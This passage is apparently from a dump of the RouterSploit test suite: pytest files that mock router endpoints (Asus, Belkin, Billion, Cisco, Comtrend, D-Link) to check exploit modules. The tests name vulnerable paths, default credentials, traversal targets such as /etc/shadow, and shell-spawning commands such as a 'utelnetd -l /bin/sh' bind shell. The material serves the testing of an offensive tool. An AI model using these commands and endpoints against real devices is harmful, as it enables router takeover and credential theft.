\"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/asus/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/asus/test_asuswrt_lan_rce.py",
    "content": "import re\nfrom unittest import mock\nfrom routersploit.modules.exploits.routers.asus.asuswrt_lan_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.asus.asuswrt_lan_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/vpnupload.cgi\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"<HTML><HEAD><script>top.location.href='/Main_Login.asp';</script>\\n</HEAD></HTML>\\n\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.infosvr_port == 9999\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is None\n    assert exploit.run() is None\n\n\ndef test_execute(udp_target):\n    infosvr_mock = udp_target.get_command_mock(re.compile(b\"^\\x0c\\x15\\x33\\x00.{508}$\"))  # 512 bytes in total\n    infosvr_mock.return_value = b\"\\x0c\\x163\\x00q6b3\\x181\\xbfJ\\xd5\\x08)\\x00e1f419fdd8adf235c0948c8f3095e34878369301\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Asus4021432\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00255.255.255.0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00RT-AC68U\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003.0.0.4.380\\x00\\x00\\x00\\x00\\x00\\x00\\x181\\xbfJ\\xd5\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x82\\x80Q\\x00\\x01\\x02\\x1f\\x92\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n    exploit = Exploit()\n    exploit.target = udp_target.host\n    exploit.infosvr_port = udp_target.port\n\n    assert exploit.execute(\"echo e1f419fdd8adf235c0948c8f3095e34878369301\") == \"e1f419fdd8adf235c0948c8f3095e34878369301\\n\"\n"
  },
  {
    "path": "tests/exploits/routers/asus/test_infosvr_backdoor_rce.py",
    "content": "import re\nfrom routersploit.modules.exploits.routers.asus.infosvr_backdoor_rce import Exploit\n\n\ndef test_check_success(udp_target):\n    infosvr_mock = udp_target.get_command_mock(re.compile(b\"^\\x0c\\x15\\x33\\x00.{508}$\"))  # 512 bytes in total\n    infosvr_mock.return_value = b\"\\x0c\\x163\\x00q6b3\\x181\\xbfJ\\xd5\\x08)\\x00a23bf8300f8ca7b80d8bf8c29dc5438e9a3bf488\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Asus4021432\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00255.255.255.0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00RT-AC68U\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003.0.0.4.380\\x00\\x00\\x00\\x00\\x00\\x00\\x181\\xbfJ\\xd5\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x82\\x80Q\\x00\\x01\\x02\\x1f\\x92\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n    exploit = Exploit()\n    assert exploit.target == \"\"\n    assert exploit.port == 9999\n\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.check() is False\n    assert exploit.run() is None\n    assert exploit.execute(\"echo a23bf8300f8ca7b80d8bf8c29dc5438e9a3bf488\") == \"a23bf8300f8ca7b80d8bf8c29dc5438e9a3bf488\\n\"\n"
  },
  {
    "path": "tests/exploits/routers/asus/test_rt_n16_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.asus.rt_n16_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/error_page.htm\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"if('1' == '0' || 'admin1234' == 'admin')\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/belkin/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/belkin/test_auth_bypass.py",
    "content": "from routersploit.modules.exploits.routers.belkin.auth_bypass import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/login.stm\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"password= \\\"admin1234\\\"\"\n        \"test\"\n    )\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/belkin/test_g_n150_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.belkin.g_n150_password_disclosure import Exploit\n\n\ndef test_exploit_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/login.stm\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"password= \\\"admin1234\\\"\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/belkin/test_g_plus_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.belkin.g_plus_info_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/SaveCfgFile.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        'test'\n        'pppoe_username'\n        'pppoe_password'\n        'wl0_pskkey'\n        'wl0_key1'\n        'mradius_password'\n        'mradius_secret'\n        'httpd_password'\n        'http_passwd'\n        'pppoe_passwd'\n        'test'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/belkin/test_n150_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.belkin.n150_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/webproc\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/shadow\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/belkin/test_n750_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.belkin.n750_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    jump = request.form['jump']\n    return (\n        \"TEST\" + jump + \"TEST\"\n    ), 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.belkin.n750_rce.shell\")\ndef test_exploit_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/login.cgi.php\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/belkin/test_play_mac_prce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.belkin.play_max_prce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.belkin.play_max_prce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/login.stm\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"password= \\\"admin1234\\\"\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.cmd == \"telnetd\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/bhu/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/bhu/test_bhu_urouter_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.bhu.bhu_urouter_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.bhu.bhu_urouter_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock1 = target.get_route_mock(\"/cgi-bin/cgiSrv.cgi\", methods=[\"POST\"])\n    route_mock1.return_value = (\n        \"test\"\n        \"status=\\\"doing\\\"\"\n        \"test\"\n    )\n\n    route_mock2 = target.get_route_mock(\"/routersploit.check\", methods=[\"GET\"])\n    route_mock2.return_value = (\n        \"test\"\n        \"root\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/billion/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/billion/test_billion_5200w_rce.py",
    "content": "from routersploit.modules.exploits.routers.billion.billion_5200w_rce import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/adv_remotelog.asp\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is None\n    assert exploit.run() is None\n    assert exploit.execute1(\"utelnetd -l /bin/sh -p 9998 -d\")\n    assert exploit.execute2(\"utelnetd -l /bin/sh -p 9998 -d\")\n"
  },
  {
    "path": "tests/exploits/routers/billion/test_billion_7700n4_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.billion.billion_7700nr4_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/backupsettings.conf\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"<AdminPassword>Admin1234Password</AdminPassword>\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.def_user == \"user\"\n    assert exploit.def_pass == \"user\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/cisco/test_dpc2420_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.cisco.dpc2420_info_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/filename.gwc\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"User Password\"\n        \"Admin1234\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/test_firepower_management60_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.cisco.firepower_management60_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/login.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"6.0.1\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.path == \"/etc/passwd\"\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"Admin123\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/test_firepower_management60_rce.py",
    "content": "from routersploit.modules.exploits.routers.cisco.firepower_management60_rce import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/img/favicon.png?v=6.0.1-1213\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 443\n    assert exploit.ssl is True\n    assert exploit.ssh_port == 22\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"Admin123\"\n    assert exploit.newusername == \"\"\n    assert exploit.newpassword == \"\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/test_ios_http_authorization_bypass.py",
    "content": "from routersploit.modules.exploits.routers.cisco.ios_http_authorization_bypass import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/level/44/exec/-/show startup-config\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"Command was:  show startup-config\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.show_command == \"show startup-config\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/test_rv320_command_injection.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.cisco.rv320_command_injection import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.cisco.rv320_command_injection.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/config.exp\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"TEST\\nsysconfig\\nTEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 443\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/test_secure_acs_bypass.py",
    "content": "from routersploit.modules.exploits.routers.cisco.secure_acs_bypass import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 443\n    assert exploit.ssl is True\n    assert exploit.path == \"/PI/services/UCP/\"\n    assert exploit.username == \"\"\n    assert exploit.password == \"\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n    exploit.ssl = \"false\"\n\n    assert exploit.check() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/test_ucm_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.cisco.ucm_info_disclosure import Exploit\n\n\ndef test_check_success(udp_target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    command_mock = udp_target.get_command_mock(b\"\\x00\\x01SPDefault.cnf.xml\\x00netascii\\x00\")\n    command_mock.return_value = b\"TEST UseUserCredential Test\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 69\n\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/test_ucs_manager_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.cisco.ucs_manager_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    return (\n        \"TEST\" + request.headers['User-Agent'] + \"TEST\"\n    ), 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.cisco.ucs_manager_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/ucsm/isSamInstalled.cgi\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/cisco/test_unified_multi_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.cisco.unified_multi_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/ccmivr/IVRGetAudioFile.do\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"admin:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/passwd\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/comtrend/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/comtrend/test_ct_5361t_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.comtrend.ct_5361t_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/password.cgi\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"pwdAdmin = 'QWRtaW4=';\"\n        \"pwdSupport = 'QWRtaW4=';\"\n        \"pwdUser = 'QWRtaW4=';\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/dlink/test_dcs_930l_auth_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.dlink.dcs_930l_auth_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dcs_930l_auth_rce.shell\")\ndef test_exploit_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/setSystemCommand\", methods=[\"POST\"])\n    route_mock.return_value = (\n        \"TEST\"\n        \"ConfigSystemCommand\"\n        \"TEST\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_300_320_600_615_info_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dir_300_320_600_615_info_disclosure import Exploit\n\n\ndef test_exploit_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/model/__show_info.php\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"test\"\n        \"\\n\\t\\t\\tadmin:Password1234\\n\\n\\t\\t\\t\"\n        \"test\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_300_320_615_auth_bypass.py",
    "content": "from routersploit.modules.exploits.routers.dlink.dir_300_320_615_auth_bypass import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/bsc_lan.php\", methods=[\"GET\"])\n    route_mock.return_value = (\n        '<form name=\"frm\" id=\"frm\" method=\"post\" action=\"login.php\">'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is False\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_300_600_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.dlink.dir_300_600_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    data = \"TEST\" + request.form['cmd'] + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.dlink.dir_300_600_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/command.php\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/dlink/test_dir_300_645_815_upnp_rce.py",
